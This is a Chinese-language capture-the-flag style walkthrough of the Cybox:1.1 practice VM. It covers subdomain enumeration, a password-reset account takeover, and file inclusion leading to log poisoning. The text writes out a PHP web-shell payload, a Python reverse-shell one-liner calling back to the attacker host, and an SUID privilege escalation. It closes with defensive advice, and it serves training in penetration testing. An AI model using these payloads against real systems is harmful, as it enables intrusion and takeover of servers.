cybox:1.1靶机练习
字数 1266 2025-08-15 21:33:48
Cybox:1.1 靶机渗透测试教学文档
环境配置
- 网络拓扑:VMware 15 NAT模式网络,网段192.168.1.0/24
- 攻击机:Kali Linux (192.168.1.137)
- 靶机:IP地址192.168.1.141
信息收集阶段
主机发现
nmap -sP 192.168.1.0/24
确认靶机IP为192.168.1.141
端口扫描
nmap -p- 192.168.1.141
发现开放端口:
- 80 (HTTP)
- 443 (HTTPS)
- 21 (FTP)
- 110 (POP3)
- 143 (IMAP)
Web服务枚举
- 访问http://192.168.1.141发现域名
cybox.company - 修改/etc/hosts文件添加DNS记录:
192.168.1.141 cybox.company
- 目录爆破:
# 使用dirb
dirb http://192.168.1.141 /usr/share/dirb/wordlists/big.txt
# 使用gobuster
gobuster vhost -u http://cybox.company/ -w /usr/share/wordlists/dirb/big.txt
发现子域名:
- dev.cybox.company (PHPinfo页面)
- ftp.cybox.company (FTP登录页面)
- webmail.cybox.company (邮箱登录)
- register.cybox.company (用户注册)
- monitor.cybox.company (监控系统登录)
漏洞挖掘与利用
1. 用户注册与密码重置漏洞
- 在register.cybox.company注册用户(如aaa)
- 在monitor.cybox.company尝试登录admin@cybox.company
- 点击"忘记密码",触发密码重置邮件
- 在webmail.cybox.company使用相同用户名(aaa)登录邮箱
- 获取密码重置链接
- 使用Burp Suite拦截请求,修改邮箱为admin@cybox.company
- 成功重置admin密码
2. 文件包含漏洞
- 登录admin账户后访问Admin panel
- 查看页面源代码发现PHP包含
- 测试文件包含:
http://monitor.cybox.company/admin/?page=../../../../etc/passwd
3. 日志注入获取Shell
- 定位Apache日志路径:/opt/bitnami/apache2/logs/access_log
- 通过FTP页面注入PHP代码:
<?php system($_GET['s']);?>
-
使用Burp修改User-Agent为上述代码并发送请求
-
触发代码执行:
http://monitor.cybox.company/admin/?page=../../../../opt/bitnami/apache2/logs/access_log&s=whoami
- 建立反向Shell:
# Kali监听
nc -lvnp 443
# 靶机执行
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.1.137',443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
权限提升
1. 获取交互式Shell
python -c "import pty;pty.spawn('/bin/bash');"
2. 分析特权程序
- 查找SUID文件:
find / -perm -4000 2>/dev/null | grep -v "/usr/bin\|/usr/sbin"
发现/opt/registerlauncher
- 分析程序:
strings /opt/registerlauncher
发现调用/opt/register创建用户
3. 创建特权用户
- 通过register页面创建用户"sudo"
- 切换用户:
su sudo
# 密码与用户名相同
- 获取root权限:
sudo -i
4. 获取Flag
cat /root/root.txt
关键知识点总结
- 子域名枚举:通过修改hosts文件和gobuster工具发现隐藏服务
- 密码重置逻辑漏洞:通过邮箱劫持实现管理员账户接管
- 文件包含漏洞:通过路径遍历读取系统文件
- 日志注入:通过修改User-Agent注入PHP代码
- SUID提权:分析自定义SUID程序的功能实现权限提升
- 交互式Shell:使用Python获取完整TTY
防御建议
- 密码重置功能应验证用户所有权
- 限制文件包含的路径范围
- 对用户输入进行严格过滤
- 避免在日志中记录用户可控数据
- 谨慎设置SUID权限
- 实现最小权限原则